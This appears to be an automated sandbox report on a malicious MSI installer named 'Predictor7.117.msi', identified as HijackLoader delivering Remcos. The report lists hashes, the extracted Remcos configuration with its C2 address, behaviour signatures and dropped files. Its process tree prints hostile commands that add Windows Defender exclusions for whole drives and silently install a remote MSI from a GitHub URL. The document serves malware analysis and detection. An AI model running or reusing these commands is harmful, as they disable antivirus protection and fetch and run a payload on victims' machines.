Analysis

  • max time kernel
    148s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-01-2025 20:03

General

  • Target

    Predictor7.117.msi

  • Size

    2.9MB

  • MD5

    5bac811249b2f91a6d769cd4af4154e2

  • SHA1

    911195edb41cd320d5538fa5560f0bd18eb6c11f

  • SHA256

    289266f50512ab914e578d5ce34352d297983fe303edd7b211521e94e4db7ca7

  • SHA512

    e38653ed324d2f764c06685a791ebf28f2ba9864d960fab104c91c86f831a7037f2a627e9048b49b5b9258a31165c3a9147be15b822ae50e0d8d9c8d2dd73cda

  • SSDEEP

    49152:kwfjkMo27Epq0n8Toc4Ug8r6F5mCmR+w+TzMShkkcr4u12X8ecau3aLSQlq8HoBu:lYn8ToBo6bqrnbecauKLO8IG/d

Malware Config

Extracted

Family

remcos

Botnet

v2

C2

185.157.162.126:1995

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    qsdazeazd-EL00KX

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Detects HijackLoader (aka IDAT Loader) 1 IoCs
  • HijackLoader

    HijackLoader is a multistage loader first seen in 2023.

  • Hijackloader family
  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Use of msiexec (install) with remote resource 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 20 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 11 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Predictor7.117.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1152
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:452
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C76678EF23A1FED7D26125DBBFC562AA
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2844
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\sev\dev\updt\lola.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4088
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:628
        • C:\Windows\system32\cscript.exe
          cscript //nologo "C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4112
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\task.vbs"
            4⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:2784
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3336
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4032
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2156
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
                6⤵
                  PID:996
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /f /im cmd.exe
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2996
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im cmd.exe
                  6⤵
                  • Kills process with taskkill
                  PID:2712
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /f /im msiexec.exe
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4472
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im msiexec.exe
                  6⤵
                  • Kills process with taskkill
                  PID:3924
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs" //B
                5⤵
                • Checks computer location settings
                • Suspicious use of WriteProcessMemory
                PID:2044
                • C:\Windows\System32\msiexec.exe
                  "C:\Windows\System32\msiexec.exe" /i "https://github.com/Kroby5444/Jim/raw/refs/heads/main/Slf.msi" /qn
                  6⤵
                  • Use of msiexec (install) with remote resource
                  • Enumerates connected drives
                  PID:4876
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Blocklisted process makes network request
        • Enumerates connected drives
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4612
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 810F6A8CC8BE2E3A043E0CBDFD2402D9
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2344
        • C:\Program Files (x86)\Common Files\PackagerUpdt\EHttpSrv.exe
          "C:\Program Files (x86)\Common Files\PackagerUpdt\EHttpSrv.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:4424
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            3⤵
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:804
            • C:\Program Files (x86)\Common Files\PackagerUpdt\EHttpSrv.exe
              "C:\Program Files (x86)\Common Files\PackagerUpdt\EHttpSrv.exe"
              4⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:4992

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Config.Msi\e578cc2.rbs

        Filesize

        2KB

        MD5

        d0622261e9e78c944dd2b7cde9845b53

        SHA1

        13641ff5ab5f5801602353b2605754499e5e603b

        SHA256

        bacd523a5dce7bf9837db409a1eb05c8fec23d63ff671d55ce94d169e37517c1

        SHA512

        2dc2fc2eca63126a71cab7aa9ee4e1b6efc669fc48eba3c48b733a9274bd30e78f193a3054b2e9a7f3ffcd7e0ba83f8a1f9893ea8360e4fdf8c60318e97c447e

      • C:\Config.Msi\e579b19.rbs

        Filesize

        2KB

        MD5

        3e3217c0788fd586a0a304ed332b3a5c

        SHA1

        dbf11261668e7aaef42e20f3885e487d5e0a6610

        SHA256

        8ba3e0823d4a00a38105a44288849dc0f8ab79055f792c4239f09a332a001a4e

        SHA512

        e02449f84a40bd9c5cbc64b34a4cf3346f8fba690210b6b6a40cb7df49c57660e72f63626ff31e8fa2087d751b57652a78017991bad6c09f3862fa7cb48f13ed

      • C:\Program Files (x86)\Common Files\PackagerUpdt\EHttpSrv.exe

        Filesize

        20KB

        MD5

        9329ba45c8b97485926a171e34c2abb8

        SHA1

        20118bc0432b4e8b3660a4b038b20ca28f721e5c

        SHA256

        effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

        SHA512

        0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

      • C:\Program Files (x86)\Common Files\PackagerUpdt\audiogram.tif

        Filesize

        877KB

        MD5

        5124236fd955464317fbb1f344a1d2f2

        SHA1

        fe3a91e252f1dc3c3b4980ade7157369ea6f5097

        SHA256

        ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

        SHA512

        2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

      • C:\Program Files (x86)\Common Files\PackagerUpdt\http_dll.dll

        Filesize

        2.3MB

        MD5

        1e2a640f1a98da16fc61c865cec7d54e

        SHA1

        178563fab7b06e99551f66ba090d0911205a2fe4

        SHA256

        e296a18272a7bde471f37e51d49e6febe944ed4e78a2d5e79f1b2ee3330fb10f

        SHA512

        2426b1ce2bd01af6f34c56e1ef0290e521566ae1196a15aeb594bcf33793aa405ce01b4196bfe48de33320bab7a570a55110995025c54edcf790c2d10166fa9c

      • C:\Program Files (x86)\Common Files\PackagerUpdt\mfc80u.dll

        Filesize

        1.0MB

        MD5

        686b224b4987c22b153fbb545fee9657

        SHA1

        684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

        SHA256

        a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

        SHA512

        44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

      • C:\Program Files (x86)\sev\dev\updt\lola.bat

        Filesize

        656B

        MD5

        73e4aed899a6014299b63ccf9eb520f5

        SHA1

        4147c2dd9277d64c5ecc9e7782e5d5aa94e56b00

        SHA256

        01c8cc249b04fee266cf757130dfef5b099cdf03337161a6c7f9346b7d2cb4f0

        SHA512

        e0ad8e8800908a5e0b60d433997c0cebc0750ae7bee0e7fe51c2e5f7fd61792f0c600c2fe65965b0c2562c61f05773d9106d89d7b2d1fb71eaed0dfbe19b5612

      • C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs

        Filesize

        872B

        MD5

        64dccadec94cfd25ee1ed659b29182b2

        SHA1

        64bc8bca314a238a900de2092587b07903b08e6c

        SHA256

        c8c9c931af038f86f25acb8f2e5dd98b01c7fdd41f0a1a3afa44e555f0b976cd

        SHA512

        adff4899e842137c9d78cd1b0056f3610d442b480e2829a41ad505d7353f59dc9fe50ec6055478ace36e4069e388a279e5ec60ca98751a13a559b40d4c847f93

      • C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs

        Filesize

        512B

        MD5

        bcc1d6a3c9aeec994cd31f86ada37ae6

        SHA1

        0b7bb7af96d842cfbb7a89793a4292fec4289a8c

        SHA256

        41590f3a8ba3c910f11fd5fa095856d5bc556f20fa4fd6d269aa1be4e08b4c64

        SHA512

        8793e62dc4a9465ef5254e15b3471573a242705dfdf74bd3d09d97c10dd84daf69aa8c0b5c9bc3c5a7302e431fc2ed417b1e6c194da106765e50ad385ea955b7

      • C:\Program Files (x86)\sev\dev\updt\task.vbs

        Filesize

        2KB

        MD5

        be8e86dd465192f94e52b2cf7bb6243a

        SHA1

        e62cfcee783511bf7aa2411564b856967a185749

        SHA256

        99d59c98978a5f883d3c69c9c6352311e07cb4b9ff0cd6ee96cd9fa6057b5a53

        SHA512

        fd1ab9e90af36cbed8b46115288a8868500bfde0cbe9b72a9b1b9801cebc2acb0829d9cadf97e7cd70b6322afd65df2965a51a11672458251ff63cd535b17cb2

      • C:\Users\Admin\AppData\Local\Temp\2083d16c

        Filesize

        1.0MB

        MD5

        b56d8888e10ca3ebeaff066e27c3f2ff

        SHA1

        362f5ce20aa2d1dfaeeeed767ced4c7981831a66

        SHA256

        cb1babdff5cc35c199c9a20e6caf859aec6fdc324cd889e2ff5fca1e4abf4093

        SHA512

        6e37054334bfb5eacca2d731096c6523e6a935a03177561d8000d9ccd3a17b58bec84b0a4b0c3deb13f46174fd310e72a5be61d53911bf4574a201961c9d73ed

      • C:\Users\Admin\AppData\Local\Temp\MSI78bc5.LOG

        Filesize

        21KB

        MD5

        5ee1b678aec665bf437be4204c562ddd

        SHA1

        daaeaec341c7bba0b8f155db209e0205223c56c5

        SHA256

        375c96eecc02f8cba14a762d542562919e09e49a724b1b7628ac21b27f66cd54

        SHA512

        4d2c950a70229f7dd217c1a0416c837dcf8969ee98a6ff8871b6e704269551b7f57ab2ebd97d145d0979474d6a48fff073200752e41a48176038315c4d87e2fd

      • C:\Windows\Installer\MSI8CFE.tmp

        Filesize

        557KB

        MD5

        2c9c51ac508570303c6d46c0571ea3a1

        SHA1

        e3e0fe08fa11a43c8bca533f212bdf0704c726d5

        SHA256

        ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550

        SHA512

        df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127

      • C:\Windows\Installer\MSI977D.tmp

        Filesize

        4.3MB

        MD5

        8e31046891c36ca794fb01262cd890d9

        SHA1

        7f812da89f328e871290be32bdead1fc869377d6

        SHA256

        d03d7ea5956a5d9ca6c1b1af800350b6ef400815b452f69a886f4156ba1a3ec5

        SHA512

        95c4c8f0196a8e373913fc41eb44c70fa8abbea38324993aa42ca05be5d6229430a4e2a4671a914a4f00986b75845c247a91809aae994ff835aa56614606840d

      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

        Filesize

        156KB

        MD5

        56e474e4f33a4ff8b84fe06b1e64bc18

        SHA1

        4565009b5307b01ba935733c46231c84cffac274

        SHA256

        043403c28562f737e88125921363ba2677ea4539c956af31aa3eb656d2b33598

        SHA512

        9d2ebe58a96ad4127194982c83f55ed39946fbbf894087524d0b33fefb4ecd8003ad76b3ce4122a751d9068f6a188875c586ed2abb25f1c39248141610250276

      • memory/804-100-0x00007FFBEB410000-0x00007FFBEB605000-memory.dmp

        Filesize

        2.0MB

      • memory/804-102-0x0000000074110000-0x000000007428B000-memory.dmp

        Filesize

        1.5MB

      • memory/4424-93-0x0000000074110000-0x000000007428B000-memory.dmp

        Filesize

        1.5MB

      • memory/4424-94-0x0000000074110000-0x000000007428B000-memory.dmp

        Filesize

        1.5MB

      • memory/4992-107-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/4992-106-0x00007FFBEB410000-0x00007FFBEB605000-memory.dmp

        Filesize

        2.0MB

      • memory/4992-104-0x0000000072CD0000-0x0000000073F24000-memory.dmp

        Filesize

        18.3MB

      • memory/4992-110-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/4992-111-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/4992-113-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/4992-114-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/4992-115-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/4992-116-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/4992-117-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/4992-118-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/4992-119-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB

      • memory/4992-120-0x0000000000410000-0x0000000000494000-memory.dmp

        Filesize

        528KB